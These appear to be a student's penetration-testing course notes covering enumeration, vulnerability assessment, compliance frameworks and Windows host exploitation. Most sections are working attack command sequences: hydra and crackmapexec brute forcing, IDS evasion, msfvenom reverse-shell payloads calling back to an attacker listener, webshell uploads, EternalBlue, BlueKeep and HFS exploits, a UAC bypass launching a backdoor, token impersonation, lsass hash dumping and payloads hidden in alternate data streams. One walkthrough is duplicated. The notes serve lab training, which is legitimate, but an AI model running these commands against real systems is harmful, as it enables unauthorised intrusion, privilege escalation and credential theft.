nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria 192.168.1.10

nmap script to execute a command

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" 192.168.1.10

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" 192.168.1.10

Metasploit

msfconsole

search mssql

use auxiliary/scanner/mssql/mssql_login

info

set RHOSTS 192.168.1.100

set USER_FILE /root/Desktop/wordlist/common_users.txt

set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt

set VERBOSE false

run

Enum module

use auxiliary/admin/mssql/mssql_enum

set RHOSTS 10.0.20.101

run

Export all SQL logins

use auxiliary/admin/mssql/mssql_enum_sql_logins

set RHOSTS 10.0.20.101

run

Run a command

use auxiliary/admin/mssql/mssql_exec

set RHOSTS 10.0.20.101

set CMD whoami

run

Get windows domain logins

use auxiliary/admin/mssql/mssql_enum_domain_accounts

set RHOSTS 10.0.20.101

run

SMTP enumeration

TCP 25 by default, 465 or 587 if using SSL cert.

This can get you the email domain and a list of users, which can be used to stage further attacks like phishing or brute force attacks with a targeted list of users.

service postgreql start

msfconsole

workspace -a SMTP

setg RHOST t.t.t.t

setg RHOSTS t.t.t.t

search type: auxiliary name: smtp

use auxiliary/scanner.smtp/smtp_version

info

set RPORT 25

run

use auxiliary/scanner.smtp/smtp_enum

set USER_FILE unix_users.txt

finds a list of users.

SMTP commands

VRFY admin@domain.com

HELO domain.com

EHLO domain.com

stmp-enum-user command uses a list to check if users exist

sendmail command can be used to send fakeemail

Enumeration recap

Spot common ports/apps

Find all the info publicly available

NMAP scripts intro

Nmap scripting engine (NSE)

Syn scan

Version scan

OS scan

all ports

timing profile T4

nmap -sS -sV -O -p- -T4 192.168.1.10

NMAP is open source and has many scripts already created

/usr/share/nnamp/scripts

extension is .nse and writtenin lua language

look for scripts relevant

ls /usr/share/nnamp/scripts | grep http

Script scan (default)

-sC

Run a script

--script=memcached-info

Run more than one script

--script=script1,script2

Run all scripts in a tree

--script=http-*

-A option combines OS detection, version detection and script scanning. Needs to run as root.

nmap -sS -A -p- -T4 192.168.1.100

Will take time as its running a lot of stuff

Evasion, Scan performance and output

-Pn Disable host discovery. Port scan only. Don't ping

-F fast scan just scans the top 100 ports

-sS TCP SYN scan

nmap -Pn -sS -F 192.168.1.10

When we scan if we see "filtered" we can assume there is a firewall blocking

Fragmenting

Breaking up you packets to evade detection

-f fragmentation option, packets get fragmented

We can give an MTU option

-f --mtu 32 (only packets larget than 32 will be fragmented)

-f --mtu 8 (you should see they are fragmented)

Spoofing your source

We can spoof our source IP. If we run a scan from a client it might trigger an alarm or look strange to IT staff. We can pretend to send our traffic from the gateway. T

-D is for a decoy IP

nmap -Pn -sS -sV -p 445,3389 -f --data-length 200 -D 192.168.1.1

Appear to come from the gateway

Optimizing nmap scans

We can speed up scans to reduce how long they take to complete, however this may cause IDS systems to alert. We can slow down scans for old networks and also to evade detection

-T

0 paranoid

1 sneaky

2 polite

3 normal

4 aggressive

5 insane

--scan-delay 5s (delay between probes)

15s is a good value but scan will take a long time

--host-timeout 5s (if it does not respond in 5seconds move on)

30s is a good option for larger networks, too low and you miss slow to respond hosts

Combining fragmentation with decoy IPs and timing templates your scans can slip under the radar of IDS systems.

NMAP output formats

Good idea to log every action you take in case you cause an issue.

Good idea to log scans so you don't have to keep running the same scans over and over

We can output nmap to files

-oN scan.txt (same as it comes out of terminal, can use grep on that file later but other formats may be better for that kind of work)

-oX scan.xml (can be imported into Metasploit)

-oS script kiddie format just a joke replaces open with op3n, can ignore this one

-oG nmap_grep.txt (greppable format so data can be manipulated with sed/awk etc. It lists each host on one line so its easier to use cut/sed/awk etc on the data)

Import nmap scan results into Metasploit

Run scan in namp and export to xml

nmap -sV -Pn -oX scan.xml t.t.t.t

Start DB for Metasploit (we need the DB running)

service postgresql start

Start Metasploit

msfconsole

Create a workspace, you may have several scans ongoing for different customers/projects

workspace -a PENTEST1

Confirm the DB connection is working

db_status

Import the scan data

db_import scan.xml

List the hosts (You will see all the info gathered from namp will be available in Metasploit)

hosts

List the services

services

List vulnerabilities (will be useful later)

vulns

We can run namp from Metasploit and it will automatically update the DB in Metasploit

db_nmap -Pn -sS -sV -O -p 445 192.168.1.100

Most of the time you would export in the normal .txt or .xml format

Scanning UDP ports

Don't forget some services are running on UDP

177

161

Scan a range

nmap -p 1-250 -sU x.x.x.x

Get more details on ports found like service version

nmap x.x.x.x -p 134,177,234 -sUV

Auxiliary modules

If we get access to server1 we may find it has access to server2. We can use the auxiliary modules to run a port scan through the first server we got access to. This is to avoid uploading nmap to server1 as it may be detected.

service start postgresql

msfconsole

db_status

workspace -a PORT_SCAN

search portscan

Look for auxiliary

use auxiliary/scanner/portscan/tcp

info

set RHOSTS t.t.t.t

set PORTS (may need to cover all ports)

set THREADS (default is 1 if scanning a larger network add more but will also use more CPU which can draw attention)

run

curl y.y.y.y

We see application name "XODA" in the HTML code

serach xoda

use exploit/unix/webapp/xoda_file_upload

info

set RHOSTS y.y.y.y

run

We should get a meterpreter shell

meterpreter> sysinfo

Launch bash shell

/bin/bash -i

ifconfig

Set to route through our current shell

run autoroute -s 192.168.1.3

Put meterpreter session into background

background

search portscan module

use auxiliary/scanner/portscan/tcp

set RHOST 192.168.1.3

run

This scan is now running through the first system we got control of.

nmap scan from external or pen test laptop on a switch port

Once we get control of a server we use the auxiliary port scan module because if we copied nmap or other tool up there it might be detected.

Summary of foot printing and scanning

Scan a target network with nmap
Build a picture of their network
Discover hosts
Discover listening ports on those hosts
Discover services running on those ports
Discover the version of those services running on those ports
Discover the OS version running on target hosts
Enumerate SMB with nmap
Know about nmap scripts in /usr/share/nmap/scripts
Evade IDS with fragmentation, spoofing and timing templates
Output your scan results
Import .xml into a workspace in metasploit
nnamp can be run from Metasploit
Don't forget about UDP ports

Vulnerability Assessment

What is a vulnerability

Generally its a weakness in code found in software or hardware components that when exploited result in a negative impact to confidentiality integrity or availability.

Either will be in the OS or some software that runs on the OS apps/services/drivers/dll's etc.

However physical weakness are also vulnerabilities. If you leave your server room unlocked anyone can walk in and install their malware.

How are vulnerabilities described

NIST (National Institute of Standards and Technology) - maintains NVD (National Vulnerability Database)

Mitre corporation - maintains CVE (Common Vulnerabilities and Exposures)

Each vuln page will have

Description - Summary of the issue

Severity - A score of how bad it is, is some information revealed or can an attacker execute code. Is it remote or do they need to be local or already have some kind of access.

References - Various likes for proof of concepts, whitepapers etc which prove the issue.

Weakness Enumeration

Known affected systems

Often there will be mitigation and remediation details on how to fix it. However with brand new vulns you may be waiting for a patch and have to take other action like taking a server offline (off the internet) until it can be patched.

Accepting risk is up to each organisation but at least you can inform them of what is out there and how bad it is.

Lets look at Log4j

NVD page

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

CVE page

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

0day's

These are vulnerabilities that no one else knows about and there is not patch. Often developed and used by nation state and APT's. However some private companies sell them to governments/law enforcement. There is also a black market for selling them on the dark web.

Risk management

> Vulnerability management

> > Vulnerability assessment

> > > Penetration tests

How do people find vulnerabilities

First step is scanning and knowing the target

Asset identification + research

Fuzz testing (input/handling/validation) try sql/cli injections

Exploit DB (open source exploit DB)

Searchsploit (Offensive security)

Vulnerability Case Studies

Heartbleed (2014-0160)

TLS and DTLS implementation of OpenSSL

NMAP script to look for TLS versions

nmap -p 443 --script ssl-enum-ciphers

NMAP script to see if a server is heartbleed vulnerable

nmap -p 443 --script ssl-heartbleed

The server returned info based on the length of the password.

Someone tried to change the length from 12 up to 100 and got back the next stuff that was in memory.

You can go up to 64000. So data was leaked from memory. What is in that memory chunk is hard to say.

EternalBlue - MS17-010 (CVE-2017-0143)

NSA created this and was using it. Their tool was found/leaked by someone.

Affected SMB (windows file sharing) on basically all windows OS's.

Once released in the wild it was used in a ransomware (wannacry)

NMAP script to check for it

nmap -p 445 --script smb-vuln-ms17-010 192.168.1.100

Most malware payloads are going to be reverse shells

The target will call back to an attacker owned domain such as cnc.evil and give a reverse shell, I can control that machine. Once an attacker has control they can pivot to other machines install software, steal data etc. What ever they intend to do.

Log4j

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

Basically lots of java applications (84%) were using the log4j library for logging. There was a vulnerability found in log4j. We could send a string into the log4j that would actually execute that code. That made this one pretty bad as we could run code on a remote server.

Apache tomcat is usually the web server used with java. Java Naming Directory Interface was the part of java used.

Nessus

Nessus tool can be used to scan your network for vulnerabilities

Basic scan will find basic network stuff

We can also do web application scan but it can cause disruption on those system so get permission and be careful

Advanced Scan

Host discovery > uncheck test local host, check use fast network discovery

Discovery > Port Scanning > check TCP

Assessment > General > Check perform through tests

Assessment > Web applications > Check Scan web applications

Save scan and run

Vulnerability research example

This will use an old one as an example

Lets say we run nmap on a target

nmap - sV 192.168.1.100

We see bad blue httpd 2.7 running on port 80

Browsing to it, it appears to be file server

Next step is to search "badblue 2.7 cve" on google etc. Check NVD, exploit DB etc.

We find it has a vulnerability that allows us to run code.

We find there is a metasploit module for the vulnerability. FYI metasploit is written in ruby.

msfconsole

search badblue 2.7

We see our CVE listed 2007-12-10

badblue_passthru buffer overflow its number 29 in the list, lets use it

use 29

info

set payload windows/meterpreter/reverse_tcp

set rhosts 192.168.1.100

set lhost eth1

Now lets run it

run

If we get meterpreter > prompt then it worked and we are in that machine

Type

sysinfo

Summary:

Vulnerabilities needs to be understood to understand the risk and present this to an org in a meaningful way

CVE, NVD and exploit DB describe vulns and give solutions. There are more locations on but these are some common ones.

Nessus is a great tool for scanning for vulnerabilities

Metasploit has many modules to exploit vulnerabilities for pentest / proof of concept

CIA Triad for cyber security

Availability (servers up)
Integrity (files arenot interfered with in transit, same data saved to disk as displayed in app)
Confidentiality (files are encrypted/secured or not in the case of public data. Authentication)

Compliance

Each business has their own needs and risk management.

Some companies choose to accept risk, however some some industries have regulations which you should be aware of.

PCI DSS (Payment card industry data security standard)

Created by VISA/Mastercard etc

HIPAA (Health Insurance Portability and Accountability Act)

How peoples health care information is handled

GDPR (General data protection regulation)

CPPA (California Consumer Privacy act)

Enhance privacy rights and consumer protection

SOX (Sarbanes Oxley Act)

Requires strong internal control process over IT apps that have financial data flowing through it.

Verticals

You will also hear the term verticals referring to industries has a whole like finance healthcare government education etc

Framework and maturity

How do we implement cyber security controls related to my business needs (large vs small, industry etc). There have been several frame works create to help with this. You follow the frame work, get certified and audited.

PCI-DSS

Designed to protect card payments
Key fouced protect cardholder data, maintaining secure network, implement robust access control
Any business that is processing card payments needs to adhere to this. Legal requirement in many countries.

ISO/IEC 27000

Broad in scope on purpose
27001 - The guidelines
27002 - How to implement the guide

COBIT

Control Objectives for Information and Related Tech
Business focused and defines a set of generic process for IT management

NIST - CSF

National Institute of standards and technology (USA)
All federal agencies need to follow this SP 800-53
Anyone else can use it as a guide line.

CIS

Centre for internet security (non profit)
A set of best practices to improve cyber security
Free too to self asses

CMMC

Cybersecurity Maturity Model Certification
Used for national security
Outside 3rd party audit/certification
Has 5 levels of maturity

Basic
Intermediate
Good
Proactive
Advanced/progressive

ASD (Australia)

8 controls (4 maturity levels)
ASD Essential 8 was designed for windows based networks
What to do now at our level
What to do to get to the next level

What has compliance got to do with pertest ?

This is because most pentests are engaged because of a compliance or insurance requirement.

Security Auditing

Companies will do an audit for compliance / insurance or they my choose to do it as proof to potential customers of their professionalism. They may just care about security and want to keep attackers out.

Auditing should be an on going process its not a one and done process. Security is changing all the time so audits should be happening on a regular schedule.

Nessus has lots of templates for audits built in. For example PCI DSS.

Take good notes (Sublime text, one note, Joplin)

Mind map

Reports writing is important.

Security Auditing essential Terminology

Security policies (companies policies)
Compliance (adherence to industry standards/data protection)
Vulnerability (a weakness in a system or process)
Control (A safeguard or countermeasure to mitigate risks)
Risk Assessment (Evaluate risk level or vulnerabilities and other risks)
Audit trail (log of events on your systems, often not enough logging)
Compliance audit (an audit just based on compliance)
Access Control (Firewall or Badge swipe system)
Audit Report (Report to detail everything found in the audit so improvements can be made)

Security lifecycle

Lifecycle just means we do the audits over and over to check and make improvements when we can.

Prep work

Define objectives
Gather / create documentation
Establish an audit team. This can be internal, external or mixed. Some may choose to run 1 internal audit and 1 external audit separately. Keep in mind internal teams auditing their own work will have a bias to cover mistakes.
Review polices and procedures
Conduct interviews with key personnel
Collect Technical data
Identify assets and threats
Evaluate vulnerabilities
Determine risk levels

Run audit

Technical tests - vuln tests and pen tests,
Verify compliance
evaluate controls

Post audit tasks

Analyse findings
Compare against standards
Prioritise issues
Document / report
Remediation and implement changes
Schedule follow up audit

In summary

Planning and prep
Info gathering
Risk assessment and audit execution
Analysis interpretation and reporting
Remediation and schedule next audit

SCAP tool

CMMC tool to audit

Security Content Automation Protocol (NIST-800-53)

Install scap tool on windows

Start scan

There is also STIG viewer

LGPO.exe /g can be used to install policies

One common item would be to block powershell scripts, however your business may user powershell scripts so its not a black and white we must implement every item on each server.

Asset management

Starting point each company should have an excel with all the IP's of every device.

Sometime they might not even know what's out there.

Coming in as pen tester you can start with some info but assume there is more devices on that network that have not been included in this list

Basic scan of a network

nmap 192.168.1.0/24

Scan a few specific IPs of interest

nmap 192.168.1.1,50,229 -A

Nessus can also do this

Install nessus server

Create a new scan

target 192.168.1.0/24 (we can also target a domain name lab.local)

Run the scan and when its complete we can export a report

There are many other tools for asset management in the end someone needs to do the work for keeping them up to date.

GRC

Governance, risk & compliance

Governance (in relation to GRC)

Defines framework of policies procedures and practices. Change approval board etc. Who has authority to make decisions. RFC, CAB etc.

Risk

Risk identification, assessment and mitigation

Compliance

Do we need to comply with an industry standard (GDRP, HIPPA, PCIDSS etc). Are we in compliance ?

Knowing the GRC of the company can help you write a report that makes sense.

Common standards and frameworks

Framework - structured approach to improving security over time.

Standards - Set hard requirements / criteria to earn the certification. eg All PCs must have AV installed.

Guidelines - Offer recommended practices and advice but not mandatory

A short example of the whole process

Develop a security policy

In this example we will develop a security policy for Linux servers following NIST SP 800-53.

Step 1 - Read the NIST SP 800-53

Create policies and apply this on your servers

https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final

Lynis (security audit tool for linux)

Download the tarball

cd /opt/

wget https://downloads.cisofy.com/lynis.tar.gz

gzip -d lynis.tar.gz

tar -xcf lynis.tar

cd lyis

chmod +x lynis

./lynis --help

lynis audit system

this can also be installed via sudo apt-get install but its not the latest.

Install AV on linux

sudo apt-get intall clamav

Penetration test

Run a pertest against the items in the audit report.

hydra -l root - P /usr/shar/seclist/Passwords/xato-net-10-million-passwords.txt ssh://t.t.t.t:22 -t 2 -v

Auditing summary

We need to understand auditing as a pen tester

Each industry may have an interest in different frameworks / standards / compliance based on what country they are based in and what industry they operate in and their own business goals

Host/System based attacks

Focusing on windows and linux

Initial access > system/host attacks

Privilege Escalation

File system and pipes

Hashing dumps and lateral movement

A similar task will be done on linux.

Windows

Has the larges share of the OS market

Makes it a big target

Some famous ones MS08-067 (Conflicker) MS17-010 (EternalBlue)

Exploit code get published publicly so there is a big risk for windows users

Large corporations are usually slow to patch/upgrade

Windows was built in C an older programming language so it was vulnerable

For example by the time windows 10 came out many orgs were running windows 7 and even xp.

Physical attacks (theft, copy hard drive, USB key attacks, hardward key/screen loggers etc)

Type of windows vulnerabilities

Information disclosure - Allows attacker to get some info, on its own may look like nothing but can be used to build an attack. For example if we tell what version of some software we are running or list usernames.
Buffer overflow - Caused by programming errors, allows attackers to write data to a buffer and overrun the allocated buffer. Can either read or write data to/from memory could give the attacker full remote access / let them run commands etc

Remote code execution - lets the attacker run code on the target machine remotely
DOS - Denial of service, hold websites etc down often by sending lots of traffic from a bot net

Famous windows vulnerabilities

MS08-067 - Conflicker
MS17-010 - EternalBlue

Frequently exploited native windows services

Windows has many built in services running out of the box.

Some are not running but can be switched on easily

They can be exploited to gain and pivot access

IIS - Microsoft web server (usually on ports 80/443 but can listen on anything)

WebDAV - Like a http file/document server, usually running with IIS. (80/443)

SMB/CIFS - Windows file sharing (TCP port 445)

RDP - remote desktop (TCP 3389, UDP 3389 also used)

WinRM - Windows remote management, intended for admins (TCP ports 5986/443 and other ports)

Exploiting webDAV on IIS

IIS sites are .asp or PHP

File extensions:

.asp

.aspx

.config

.php

WebDAV

Distributed Authoring and Versioning

Lets a web server (IIS) act as a collaborative file server

WebDAV has some authentication available (user and password)

Exploitation tools

davtest (kali and parrot)

cadaver (kalo and parrot)

nmap

nmap -pN -sV -sC 192.168.100.1

Port 80 we see IIS running.

nmap -sV -p 80 --script=http-enum 192.168.100.1

This script will tell us if the webdav is running (looking for /webdav/ folder)

If we see 401 unauthorized we know authentication has been enabled

Hydra

hydra can be used to brute force the username and password.

hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt 192.168.1.100 http-get /webdav/

you can build your users list from other recon, like linked in and calling up asking whats the username format for example it might be firstname.surname.

Password lists can be obtained from the internet and there is also full brute forcing which can take a long time. Once we know users we can also look for their details in password dumps online and try these as well.

Davtest

davtest -url http://192.168.1.100/webdav

davtest -auth bob:password123 -url http://192.168.1.100/webdav

tests if we can make a directory, tries to upload different file extension

tests if we can execute any of these files

if we can execute .asp files we can upload an asp paylot

cadaver

cadaver http://192.168.1.100/webdav

bob

password123

Now we get a shell

Lets upload a webshell, kali has lots

cd /user/share/webshells

We know we want an asp one because that is what we can execute on the server

Upload from cadaver

put /usr/share/webshells/asp/webshell.asp

refresh the webdav page in the browser, we will see our webshell file.

Click on it and it will allow you to run commands and output is printed on the screen.

Can run windows commands:

whoami

ipconfig

type c:\flag.txt

Metasploit

msfvenom lets us create payloads. Our usual payload will be a meterpreter shell or reverse shell.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.5.5.33 LPORT=1234 -f asp> shell.asp

Lhost is my control machine I want the target to connect to

Lport has to be open/listening on my end

Better to use the 32bit version as it will work on either platform.

cadaver http://10.2.30.233/webdav

username: user

password: *****

put /root/shell.asp

Refresh in the browser, to click on it will execute it

Set up handler

msfconole

use multi/handler

set playload windows/meterpreter/reverse_tcp

show options

set LHOST 10.5.5.33

set LPORT 1234

Started up the handler

Now execute the reverse shell

getuid

sysinfo

There is a module to do all this for us

iis_webdav_upload_asp

use exploit/windows/iis/iis_webdav_upload_asp

show options

set HttpUsername bob

set HttpPassword pw1234

set RPORT 80

set LHOSTS 10.5.5.33

set LPORT 1234

set path /webdav/metasploit.asp

exploit

This module will upload the payload, execute it and then delete the .asp for you and drop you into the meterpreter shell

Exploiting SMB with psexec

SAMBA is the open source linux implmentatin of SMB and allows windows systems to access linux shares and device

SMB 445 (TCP), originally ran on top of NetBIOS using port 139

SMB auth

User auth (username and password)

Share auth (just a password)

Both use challenge/response

Basics of SMB authentication

Client > Auth request (username) > Server

Client < Encrypt a random string with users hash < Server

Client > Encrypted string with the hash (needs to match servers results) > Server

Client < Access granted if all in order < Server

nmap -sV -sC 192.168.1.100

SMB brute force with metasploit

service postgresql start

msfconsole

search smb_login

use auxiliary/scanner/smb/smb_login

info

set USER_FILE /usr/share/metasoploit-framework/data/wordlists/common_users.txt

set PASS_FILE /usr/share/metasoploit-framework/data/wordlists/unix_users.txt

set RHOSTS 192.168.1.100

set VERBOSE false

run

psexec auth is done through SMB

psexec.py is a python version of psexec

psexec.py administrator@192.168.1.100 cme.exe

password: ******

whoami

getuid

msfconsole

use exploit/windows/smb/psexec

info

set RHOST 10.2.2.1

set SMBUser Administrator

set SMBPass Pw1234

exploit

whoami

sysinfo

getuserid

Eternal blue (MS17-010) CVE-2017-0144

Eternal blue was a name given to a collection of windows vulnerabilities allows attackers to execute arbitrary code.

Was released by shadow brokers

One of the biggest of the last 10 to 15 years

It has been patched but still vulnerable systems out there

Targets win7 and server 2008

Nmap scan for OS versions affect (win7 and server 2008)

nmap -sV -p 445 -O 192.168.1.100

Nmap script to check if its vulnerable

nmap -sV -p 445 --script=smb-vuln-ms17-010 192.168.1.100

State: VULNERABLE

Autoblue

Clone from github

Always take care using software from github, best to run on an isolated VM that can be blown away don't run code on your own machine.

Generate shell code

cd shellcode

chmod +x shell_prep.sh

./shell_prep.sh

answer Y

LHOST (fill in your VM)

LPORT 1234 (port you want to listen on)

option 1 for regular cmd shell

1 for stageless

The msf shell code is exported to raw .bin file

Setup handler / listener

nc -nvlp 1234

Run the python

chmod +x eternalblue_exploit7.py

eternalblue_exploit7.py 192.168.100.1 shellcode/sc_x64.bin

Check our listener

We should see a cmd shell

whoami

meterpreter is more advanced than a regular cmd shell but what ever shell you can get you can work from there

Metasploit

msfconsole

search ms17_010

use exploit/windows/smb/ms17_010_eternalblue

info

set RHOSTS 192.168.100.1

run

This will drop us into a meterpreter shell

sysinfo

getuid

Exploiting RDP

Uses TCP 3389 and UDP 3389, can use any other port. Gives GUI/windows desktop.

nmap -sV -p- 192.168.100.1

We notice port 3333 open and shows ssl/dec-notes

service postgresql start

msfconsole

search rdp_scanner

use auxiliary/scanner/rdp/rdp_scanner

info

set RHOST 192.168.100.1

set RPORT 3333

run

RDP brute force attack with hydra

hydra -L /usr/share/metasplot-framework/data/wordlists/common_users.txt - P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt rdp://192.168.100.1 -s 3333

xfreerdp /u:administrator /p:pw1234 /v:192.168.100.1:3333

Y to trust cert

Other RDP client remina

Exploiting Bluekeep (CVE-2019-0708)

Allows attackers to gain access to the network and get a metepreter session where they can execute code

Discovered by MS themselves (So we are told)

Affected by bluekeep

Vista

Windows 7

Windows server 2008 R2

RDP needs to be enabled.

NLA stops this vulnerability

Lots of exploit code uploaded to git hub that has malware inside. Another warning abour running exploit code (or any code) from a stranger on the internet/github. If you must test it, read the code and understand it, don't run anything with binary blobs where you don't know what it does. Run inside a test VM environment not connected to any network and delete after testing.

Metasploit

msfconsole

search bluekeep

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep

show options

set RHOST 192.168.1.100

set RPORT 3333

run

search bluekeep

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

*** Defaults to 64bit payload ***

set RHOSTS 192.168.1.100

show targets

set target 2

run

Will open a meterpreter session if it works

Kernel exploits can cause crashes/blue screens so be careful when running in a corporate environment

Also keep in mind attackers won't care about this and will crash systems if there is a chance they can get in.

Exploiting winRM

Its a remote management protocol for sysadmins using HTTP(S). (aka wsman)

WinRM is not switched on by default.

You may find it enabled in lots of corporate environments.

Remote access hosts on a local network

Run commands on windows systems

Manage/config windows systems remotely

Usual ports TCP

5985 (HTTP)

5986 (HTTPS)

evil-winrm is a ruby script to obtain a command shell session on the target

nmap

We need to define the port cause its not in the top 1000

nmap -sV -p 5985 192.168.1.100

crackmapexec

crackmapexec can be used to do a brute force on WinRM to ide users/passwords and execute commands

launch crackmapexec

can be used for smb, ssh and mssql

crackmapexec winrm 192.168.1.100 -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

output will show if it found a password

crackmapexec winrm 192.168.1.100 -u administrator -p BadPW -x "whoami"

crackmapexec winrm 192.168.1.100 -u administrator -p BadPW -x "systeminfo"

Getting a command session

evil-winrm.rb -u administrator -p 'BadPW' -i 192.168.1.00

If it works we should get a CMD shell

Metasploit

msfconsole

info

use auxiliary/scanner/winrm/winrm_login

set RHOSTS demo.ine.local

set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt

set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

set VERBOSE false

set PASSWORD anything

run

Metasploit

We can get a meterpreter shell with metasploit

service postgresql start

msfconsole

search winrm_script

use exploit/windows/winrm/winrm_script_exec

info

set RHOSTS 192.168.1.100

set FORCE_VBS true

set USERNAME administrator

set PASSWORD BadPW

run

sysinfo

cat "C:\flag.txt"

Privilege Escalation

Moving from normal user to higher rights like admin.

Attackers usual can get a user level foothold on a single machine with a phish email or social engineering phone call etc.

We will need privilege escalation to pivot and move through the network

Windows Kernel exploits

The kernel is the core of the OS. Has complete control over everything. Translation layer between hardware and software. Getting kernel level access for an attacker is obviously very useful for them

WindowsNT Kernel

Works a bit different than other kernels based on design philosophy. Has 2 main modes, user mode and kernel mode.

User mode - limited access

Kernel mode - unrestricted access (devices and system memory)

We want to get some code executed in kernel mode.

Again messing with the kernel can cause blue screens etc.

Identify the windows kernel in use

Identify if there are vulnerabilities for that version

Use the exploits to escalate privileges

Leverage the new access to pivot to other resources / machines / servers / networks etc.

Windows exploit suggester (github)

Compares a targets patch level with MS vuln DB.

Notifies you if there are matching metasploit modules

Windows kernel exploits (github)

Collection of windows kernel exploits sorted by CVE

Reminder about running code from github

Keep in mind attackers will have their own DB's that they may share with each other or will want to keep secret for as long as possible.

meterpreter has a command to automatically try elevate privileges "getsystem".

msfconsole

search suggester

use post/multi/recon/local_exploit_suggester (post is for post getting access)

info

set SESSION 3 (you must already have access)

run

It will show you all available exploits and gives you a list of things you can use

use /exploit/windows/local/ms16_014_wmi_recv_notif

set session 3

set LPORT 4442

run

If it works you get a meterpreter with elevated privileges

getuid

NET AUTHORITY\SYSTEM

Download the windows-exploit-suggeter.py script to your kali VM

From your meterpreter shell get the windows info from your target machine

shell (to get windows shell)

systeminfo (copy to a txt file on your kali VM to check hotfixes)

On kali VM

Go to directory where your cloned the github script

drop the systeminfo.txt here

./windows-exploit-suggeter.py --update (update the latest DB)

./windows-exploit-suggeter.py --database FileName-DB-Downloaded.xls --systeminfo systeminfo.txt

This will check a list of vulns. It lists the most likely to work at the top.

E means there is exploit code

M means there is a metasploit module

UACME

UAC bypass

nmap target.domain.com

We see web server running

nmap -sV -p 80 target.domain.com

Its running HFS file server

searchsploit hfs

msfconsole -q

use exploit/windows/http/rejetto_hfs_exec

set RHOSTS target.domain.com

run

meterpreter>

getuid

sysinfo

ps -S explorer.exe

migrate 2440

getsystem

shell

net localgroup administrators

New tab make payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'

file backdoor.exe

Back on Meterperter shell

CTRL + C

cd C:\\Users\\admin\\AppData\\Local\\Temp

upload /root/Desktop/tools/UACME/Akagi64.exe .

upload /root/backdoor.exe .

Open new tab to start handler

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST x.x.x.x

set LPORT 4444

exploit

Back on meterperter shell run the new backdoor via UACME

shell

Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe

Migrate to a process with high privilege

ps -S lsass.exe

migrate 496

hashdump (get the NTLM hashes)

******************

nmap target.domain.com

We see web server running

nmap -sV -p 80 target.domain.com

Its running HFS file server

searchsploit hfs

msfconsole -q

use exploit/windows/http/rejetto_hfs_exec

set RHOSTS target.domain.com

run

meterpreter>

getuid

sysinfo

ps -S explorer.exe

migrate 2440

getsystem

shell

net localgroup administrators

New tab make payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'

file backdoor.exe

Back on Meterperter shell

CTRL + C

cd C:\\Users\\admin\\AppData\\Local\\Temp

upload /root/Desktop/tools/UACME/Akagi64.exe .

upload /root/backdoor.exe .

Open new tab to start handler

msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST x.x.x.x

set LPORT 4444

exploit

Back on meterperter shell run the new backdoor via UACME

shell

Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe

Migrate to a process with high privilege

ps -S lsass.exe

migrate 496

hashdump (get the NTLM hashes)

******

Windows access tokens

Created and managed by lsass. The tokens are generated by winlogon.exe

impersonate - non interactive logon

delegate - for RDP sessions

delegate pose the bigger threat

We need the following for a impersonation attack:

SeAssignPrimaryToken - impersonate tokens

SeCreateToken - create a token with admin rights

SeImpersonatePrivilege - Create a process under the security context of another (typicall with admin rights)

Incognito is meterperer (used to be standalone app)

Incognito can list available tokens

get meterpreter session

pgrep explorer

migrate 3111

getuid

getprivs

Look for SeImpersonatePrivilige

load incognito

list_tokens -u (list user tokens)

if we see an admin token

impersonate_token "server\admin"

getuid

getprivs

pgrep explorer

migrate 3111

get privs

If we don't see any tokens we can use, we can use the potatoe attack which will generate an admin token which you can then use.

Alternate data streams (ADS)

ADS is a NTFS file attribute which was created to work with HFS on MacOS.

metadata is data about data

like the data is a .mp3 but the metadata is the date created etc

attackers can use ADS to hide their payload

When the user runs the legitimate file the ADS is run which the malicious payload

Create test.txt fie

data stream is the text inside the file

properties of the file is the resource stream

We can make a hidden file this way

notepad test.txt:secret.txt

lets say we have a payload.exe

type payload.exe > windowslog.txt:winpeas.exe

fill windowslog.txt with some dummy data

delete payload

start windowslog.txt:winpeas.exe

cd windows\system32

mklink wupdate.exe C:\temp\windowslog.txt:winpeas.exe

Windows password hashes

We don't want to store passwords in clear text

We store a hash of the password, this can be checked vs the password being entered later

Is stored pw hash = hash of password input ?

If yes we can allow the login/access.

Windows stores the hashes in the SAM (Security Access Management) database

Authentication and verification of user credentials is facilitate by LSA (Local Security Authority) the lsass.exe process

Windows version s up to Server 2003 utilize two different types of hashes

NTLM (most likely in the wild)

Windows disables LM hashing and uses NTLM hashing from vista onwards

SAM

All passwords are stored hashed

File can't be copied while the system is running

This is because attackers were dumping the DB

So while windows is on the file can't easily be dumped

However attackers have got around it with in memory techniques and tools to dump the SAM hashes from lsass process.

In modern versions of windows the SAM database is encrypted with a syskey

Need elevated privs and a way to bypass the file lock to dump hashes.

LM (lanman) hashing very weak by todays standards. Using DES encryption.

NTLM is a collection of auth protocols that are used to facilite auth between computers.

Vista disabled LM hash and uses NTLM

